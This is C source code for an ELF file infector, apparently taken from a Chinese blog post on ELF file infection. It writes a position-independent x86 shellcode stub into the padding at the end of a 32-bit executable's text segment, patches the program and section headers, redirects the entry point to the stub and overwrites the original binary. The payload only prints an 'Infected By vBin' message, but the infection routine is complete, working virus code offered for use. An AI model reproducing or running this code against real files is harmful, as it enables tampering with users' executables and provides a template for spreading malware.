#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <elf.h> #define _ERROR_NULL(nRetCode) if (!nRetCode) goto Exit0; #define _ERROR_OPEN(nRetCode) if (nRetCode < 0) goto Exit0; #define _ERROR_SEEK(nRetCode) if (nRetCode < 0) goto Exit0; #define _ERROR_WRITE(nRetCode) if (nRetCode < 0) goto Exit0; #define _ERROR_CHMOD(nRetCode) if (nRetCode < 0) goto Exit0; #define _ERROR_CHOWN(nRetCode) if (nRetCode < 0) goto Exit0; #define _ERROR_RENAME(nRetCode) if (nRetCode < 0) goto Exit0; #define _ERROR_READ(nRetCode, nSize) if (nRetCode != nSize) goto Exit0; #define _PRINT_EXIT(pszMsg) printf("%s \n", pszMsg); goto Exit0; #define PAGE_SIZE 4096 char g_ShellCode[] = "\x0\x0\x0\x0" "\x50" // push eax "\x53" // push ebx "\x51" // push ecx "\x52" // push edx "\xE8\x0\x0\x0\x0" // call $+5 "\x59" // pop ecx "\x81\xC1\x1A\x0\x0\x0" // add ecx, 1Ah "\xB8\x04\x0\x0\x0" // mov eax, 4 "\xBB\x2\x0\x0\x0" // mov ebx, 2 "\xBA\x12\x0\x0\x0" // mov edx, 12h "\xCD\x80" // int 80h "\xEB\x13" // jmp leave "\x49\x6E\x66\x65\x63\x74\x65\x64\x20" // [Infected ] "\x42\x79\x20\x76\x42\x69\x6E\x0A\x00" // [By vBin\n\0] "\x0" // align // leave: "\x5A" // pop edx "\x59" // pop ecx "\x5B" // pop ebx "\x58" // pop eax "\xB8\x0\x0\x0\x0" // mov eax, 0 "\xFF\xE0" // jmp eax "\xB8\x1\x0\x0\x0" // mov eax, 1 [Reserved For Debug] "\xBB\x0\x0\x0\x0" // mov ebx, 0 [Reserved For Debug] "\xCD\x80" // int 80h [Reserved For Debug] ; int g_nVirusSize = sizeof(g_ShellCode); long g_nVirusEntry = 4; // offset of virus code in 'g_ShellCode' long g_nVirusOffsetOfSRCEntry = 63; // record host entry // copy nDataSize bytes from FILE nFromHandle to FILE nToHandle. // note: file pointer can be changed with lseek, so they needn't point to file start. int CopyFileData(int nFromHandle, int nToHandle, unsigned int nDataSize) { int nResult = 0; int nRetCode = 0; char szData[PAGE_SIZE]; unsigned int nWritedSize = 0; while (nWritedSize + PAGE_SIZE < nDataSize) { nRetCode = read(nFromHandle, szData, PAGE_SIZE); _ERROR_READ(nRetCode, PAGE_SIZE); nRetCode = write(nToHandle, szData, PAGE_SIZE); _ERROR_WRITE(nRetCode); nWritedSize += PAGE_SIZE; } // copy the remain SIZE of nDataSize modulod by PAGE_SIZE nRetCode = read(nFromHandle, szData, nDataSize - nWritedSize); _ERROR_READ(nRetCode, nDataSize - nWritedSize); nRetCode = write(nToHandle, szData, nDataSize - nWritedSize); _ERROR_WRITE(nRetCode); nResult = 1; Exit0: return nResult; } /* Return true if current file is a expect ELF file. */ int check_elf_header(Elf32_Ehdr const Ehdr) { int nResult = 0; int nRetCode = 0; nRetCode = strncmp(Ehdr.e_ident, ELFMAG, SELFMAG); if (0 != nRetCode) { _PRINT_EXIT ("Not Elf File!"); } if (Ehdr.e_ident[EI_CLASS] != ELFCLASS32) { _PRINT_EXIT ("Not 32bit File!"); } if (Ehdr.e_ident[EI_DATA] != ELFDATA2LSB) { _PRINT_EXIT ("Not LSB!"); } if ((Ehdr.e_type != ET_EXEC) && (Ehdr.e_type != ET_DYN)) { _PRINT_EXIT ("Not Execute File!"); } if (Ehdr.e_machine != EM_386) { _PRINT_EXIT ("Machine Not 386!"); } if (Ehdr.e_version != EV_CURRENT) { _PRINT_EXIT ("Version Error!"); } nResult = 1; Exit0: return nResult; } int infect(char *pszFileName) { int nResult = 0; int nRetCode = 0; Elf32_Shdr *pShdr = NULL; Elf32_Phdr *pPhdr = NULL; Elf32_Ehdr Ehdr; int nFileHandle = -1; int nTmpHandle = -1; char szTmpName[] = "infect.tmp"; char szData[PAGE_SIZE] = { 0 }; char *pchData = NULL; char *pchSData = NULL; int i = 0; int nPLen = 0; int nSLen = 0; int nOffset = 0; int nEVaddr = 0; int nOldShoff = 0; int nTmpFilePos = 0; int nPaddingSize = 0; struct stat FileStat; nFileHandle = open(pszFileName, O_RDONLY); _ERROR_OPEN(nFileHandle); nRetCode = lseek(nFileHandle, 0, SEEK_SET); /* 把文件指针指向文件的开头. */ _ERROR_SEEK(nRetCode); nRetCode = read(nFileHandle, &Ehdr, sizeof(Ehdr)); /* 获取文件头信息*/ _ERROR_READ(nRetCode, sizeof(Ehdr)); if (!check_elf_header (Ehdr)) { _PRINT_EXIT("Not a expect Elf File!"); } printf ("Ehdr.e_entry=%p\n", Ehdr.e_entry); *(int *)&g_ShellCode[g_nVirusOffsetOfSRCEntry] = Ehdr.e_entry; nPLen = sizeof(Elf32_Phdr) * Ehdr.e_phnum; // 程序头表条目数 pchData = (char *)malloc(nPLen); _ERROR_NULL(pchData); nRetCode = lseek(nFileHandle, Ehdr.e_phoff, SEEK_SET); // 程序头表偏移量 _ERROR_SEEK(nRetCode); nRetCode = read(nFileHandle, pchData, nPLen); // 从程序头表开始读取所有的程序头表 _ERROR_READ(nRetCode, nPLen); /* * update the phdr's to reflect the extention of the text segment (to * allow virus insertion) */ nOffset = 0; for (pPhdr = (Elf32_Phdr *)pchData, i = 0; i < Ehdr.e_phnum; i++) { if (nOffset) { /* 位于插入点后的各代码段偏移加一页大小 */ /* 不规则排列 */ printf ("pPhdr->p_offset=%x\n", pPhdr->p_offset); pPhdr->p_offset += PAGE_SIZE; } else if (PT_LOAD == pPhdr->p_type && 0 == pPhdr->p_offset) /* 可加载段(代码及数据段)*/ { /* 可加载段,并非说此时p_offset必须是0,但通常是的 */ int palen; /* 内存大小和文件大小不一致,说明存在.bss段 */ if (pPhdr->p_filesz != pPhdr->p_memsz) { /* 如果存在.bss, 直接在pPhdr->p_vaddr + pPhdr->p_filesz后填充可能被覆盖, 导致病毒物理插入无效。那为什么不插入到pPhdr->p_vaddr + pPhdr->p_memsz后? 不插入pPhdr->p_vaddr + pPhdr->p_memsz显然静态文件不存在.bss区间 */ _PRINT_EXIT("pPhdr->p_filesz != pPhdr->p_memsz"); } /* 新的程序入口点 entry point,也是原代码段尾部填充区位置 */ nEVaddr = pPhdr->p_vaddr + pPhdr->p_filesz; printf ("nEVaddr(new entry)=%p\n", nEVaddr); /* 原代码段尾部填充大小,段以PAGE_SIZE为单位进行对齐 */ nPaddingSize = PAGE_SIZE - (nEVaddr & (PAGE_SIZE - 1)); /* 检查病毒体代码是否超过填充区大小 */ printf ("g_nVirusSize=%x, nPaddingSize=%x\n", g_nVirusSize, nPaddingSize); if (g_nVirusSize >= nPaddingSize) { //_PRINT_EXIT("Virus too large!"); continue; } printf ("nEVaddr=%p, g_nVirusEntry=%x\n", nEVaddr, g_nVirusEntry); Ehdr.e_entry = nEVaddr + g_nVirusEntry; /* 既然phdr->p_offset为零,这里还有必要这样编码吗?*/ /* 在文件中物理地插入寄生代码到这个位置*/ nOffset = pPhdr->p_offset + pPhdr->p_filesz; // Virus offset in file pPhdr->p_filesz += g_nVirusSize; pPhdr->p_memsz += g_nVirusSize; } /* 依次遍历每个程序头表(程序段)*/ ++pPhdr; } printf ("nOffset=%x\n", nOffset); if (0 == nOffset) { _PRINT_EXIT("No LOAD Segment!"); } nSLen = sizeof(Elf32_Shdr) * Ehdr.e_shnum; pchSData = (char *)malloc(nSLen); _ERROR_NULL(pchSData); nRetCode = lseek(nFileHandle, Ehdr.e_shoff, SEEK_SET); _ERROR_SEEK(nRetCode); nRetCode = read(nFileHandle, pchSData, nSLen); _ERROR_READ(nRetCode, nSLen); /* update the shdr's to reflect the insertion of the parasite */ for (pShdr = (Elf32_Shdr *)pchSData, i = 0; i < Ehdr.e_shnum; i++) { /* 位于插入点后的各节区偏移也增加一页 */ if (pShdr->sh_offset >= nOffset) { printf ("pShdr->sh_offset=%x\n", pShdr->sh_offset); /* 基本上从小到大升序排列 */ pShdr->sh_offset += PAGE_SIZE; } /* 被插入代码所在节区 */ else if (nEVaddr == (pShdr->sh_addr + pShdr->sh_size)) { /* if its not strip safe then we cant use it */ /* 被strip过的ELF文件也并非就不存在SHT_PROGBITS段, *.text节区也可以有该属性,并且默认strip只去掉 去除.symbol节的内容以及.debug节的内容 */ printf ("i=%d, pShdr->sh_type=%x\n", i, pShdr->sh_type); if (pShdr->sh_type != SHT_PROGBITS ) { printf ("exit: pShdr->sh_type != SHT_PROGBITS\n"); _PRINT_EXIT("stat error!\n"); } pShdr->sh_size += g_nVirusSize; } /* 依次遍历每个节区 */ pShdr++; } /* update ehdr to reflect new offsets */ nOldShoff = Ehdr.e_shoff; if (Ehdr.e_shoff >= nOffset) { Ehdr.e_shoff += PAGE_SIZE; } nRetCode = fstat(nFileHandle, &FileStat); if (nRetCode < 0) { _PRINT_EXIT("stat error!\n"); } nTmpHandle = open(szTmpName, O_WRONLY | O_CREAT | O_TRUNC, FileStat.st_mode); _ERROR_OPEN(nTmpHandle); nRetCode = lseek(nFileHandle, 0, SEEK_SET); _ERROR_SEEK(nFileHandle); nRetCode = write(nTmpHandle, &Ehdr, sizeof(Elf32_Ehdr)); _ERROR_WRITE(nRetCode); nRetCode = write(nTmpHandle, pchData, nPLen); _ERROR_WRITE(nRetCode); nTmpFilePos = sizeof(Elf32_Ehdr) + nPLen; nRetCode = lseek(nFileHandle, nTmpFilePos, SEEK_SET); _ERROR_SEEK(nRetCode); if (nOffset < nTmpFilePos) { _PRINT_EXIT("fatal error!"); } nRetCode = CopyFileData(nFileHandle, nTmpHandle, nOffset - nTmpFilePos); _ERROR_NULL(nRetCode); nRetCode = write(nTmpHandle, g_ShellCode, g_nVirusSize); _ERROR_WRITE(nRetCode); memset(szData, PAGE_SIZE - g_nVirusSize, 0); nRetCode = write(nTmpHandle, szData, PAGE_SIZE - g_nVirusSize); _ERROR_WRITE(nRetCode); nRetCode = CopyFileData(nFileHandle, nTmpHandle, nOldShoff - nOffset); _ERROR_NULL(nRetCode); nRetCode = write(nTmpHandle, pchSData, nSLen); _ERROR_WRITE(nRetCode); nTmpFilePos = nOldShoff + nSLen; nRetCode = lseek(nFileHandle, nTmpFilePos, SEEK_SET); _ERROR_SEEK(nRetCode); nRetCode = CopyFileData( nFileHandle, nTmpHandle, FileStat.st_size - nTmpFilePos ); _ERROR_NULL(nRetCode); nRetCode = rename(szTmpName, pszFileName); _ERROR_RENAME(nRetCode); nRetCode = fchmod(nTmpHandle, FileStat.st_mode); _ERROR_CHMOD(nRetCode); nRetCode = fchown(nTmpHandle, FileStat.st_uid, FileStat.st_gid); _ERROR_CHOWN(nRetCode); printf("Infect Success!\n"); nResult = 1; Exit0: if (nFileHandle >= 0) { close(nFileHandle); nFileHandle = -1; } if (nTmpHandle >= 0) { close(nTmpHandle); nTmpHandle = -1; } if (pchData) { free(pchData); pchData = NULL; } if (pchSData) { free(pchSData); pchSData = NULL; } return nResult; } int main(int argc, char **argv) { int nRetCode = 0; if (argc != 2) { _PRINT_EXIT("usage: demo <filename>"); } nRetCode = infect(argv[1]); if (nRetCode != 1) { _PRINT_EXIT("infect failed"); goto Exit0; } Exit0: return 0; }
ELF文件感染
最新推荐文章于 2024-06-05 15:40:04 发布